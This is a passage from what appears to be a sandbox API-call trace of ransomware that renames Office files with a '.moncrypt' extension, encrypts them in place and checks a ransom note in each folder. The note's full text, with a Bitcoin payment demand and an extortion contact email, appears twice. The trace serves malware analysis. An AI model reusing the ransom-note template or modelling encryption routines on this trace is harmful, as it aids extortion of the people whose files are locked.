Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.080] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.080] CloseHandle (hObject=0x190) returned 1 [0048.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.081] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.081] GlobalLock (hMem=0x44000c) returned 0x555650 [0048.081] GlobalHandle (pMem=0x555650) returned 0x44000c [0048.081] GlobalUnlock (hMem=0x44000c) returned 0 [0048.081] GlobalLock (hMem=0x44000c) returned 0x555650 [0048.081] GlobalLock (hMem=0x440004) returned 0x557660 [0048.081] GlobalHandle (pMem=0x555650) returned 0x44000c [0048.081] GlobalUnlock (hMem=0x44000c) returned 0 [0048.081] GlobalHandle (pMem=0x557660) returned 0x440004 [0048.081] GlobalUnlock (hMem=0x440004) returned 0 [0048.081] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ded5140, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ded5140, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ded5140, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.082] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.082] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.082] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.082] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.082] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.082] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.082] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.082] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.082] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.082] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.082] CloseHandle (hObject=0x190) returned 1 [0048.083] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0048.083] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.083] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.083] GlobalLock (hMem=0x440004) returned 0x555650 [0048.083] GlobalHandle (pMem=0x555650) returned 0x440004 [0048.083] GlobalUnlock (hMem=0x440004) returned 0 [0048.083] GlobalLock (hMem=0x440004) returned 0x555650 [0048.083] GlobalLock (hMem=0x44000c) returned 0x557660 [0048.083] GlobalHandle (pMem=0x555650) returned 0x440004 [0048.083] GlobalUnlock (hMem=0x440004) returned 0 [0048.083] GlobalHandle (pMem=0x557660) returned 0x44000c [0048.083] GlobalUnlock (hMem=0x44000c) returned 0 [0048.083] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.083] CharLowerBuffW (in: lpsz="OfficeMUISet.XML", cchLength=0x10 | out: lpsz="officemuiset.xml") returned 0x10 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.084] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0048.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", cchWideChar=109, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpUsedDefaultChar=0x0) returned 109 [0048.084] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpUsedDefaultChar=0x0) returned 4 [0048.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 0x54e280 [0048.084] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.084] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.084] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", dwFileAttributes=0x20) returned 1 [0048.085] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.moncrypt")) returned 1 [0048.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.086] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.086] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x333 [0048.086] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.086] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x333, lpOverlapped=0x0) returned 1 [0048.087] GlobalLock (hMem=0x44000c) returned 0x555758 [0048.087] GlobalLock (hMem=0x440004) returned 0x557768 [0048.087] GlobalHandle (pMem=0x555758) returned 0x44000c [0048.087] GlobalUnlock (hMem=0x44000c) returned 0 [0048.088] GlobalHandle (pMem=0x557768) returned 0x440004 [0048.088] GlobalUnlock (hMem=0x440004) returned 0 [0048.088] GlobalLock (hMem=0x440004) returned 0x555758 [0048.088] GlobalHandle (pMem=0x555758) returned 0x440004 [0048.088] GlobalUnlock (hMem=0x440004) returned 0 [0048.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.098] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.098] CloseHandle (hObject=0x190) returned 1 [0048.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.099] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXTL") returned 34 [0048.099] GlobalLock (hMem=0x440004) returned 0x555860 [0048.099] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.099] GlobalUnlock (hMem=0x440004) returned 0 [0048.099] GlobalLock (hMem=0x440004) returned 0x555860 [0048.099] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.099] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.099] GlobalUnlock (hMem=0x440004) returned 0 [0048.099] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.099] GlobalUnlock (hMem=0x44000c) returned 0 [0048.099] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.099] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ded5140, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ded5140, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ded5140, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.099] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.099] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.099] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.100] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.100] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.100] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.100] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.100] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.100] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.100] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.100] CloseHandle (hObject=0x190) returned 1 [0048.100] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0048.100] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.100] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.100] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.100] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.100] GlobalUnlock (hMem=0x44000c) returned 0 [0048.100] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.101] GlobalLock (hMem=0x440004) returned 0x557870 [0048.101] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.101] GlobalUnlock (hMem=0x44000c) returned 0 [0048.101] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.101] GlobalUnlock (hMem=0x440004) returned 0 [0048.101] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.101] CharLowerBuffW (in: lpsz="OSETUPUI.DLL", cchLength=0xc | out: lpsz="osetupui.dll") returned 0xc [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", 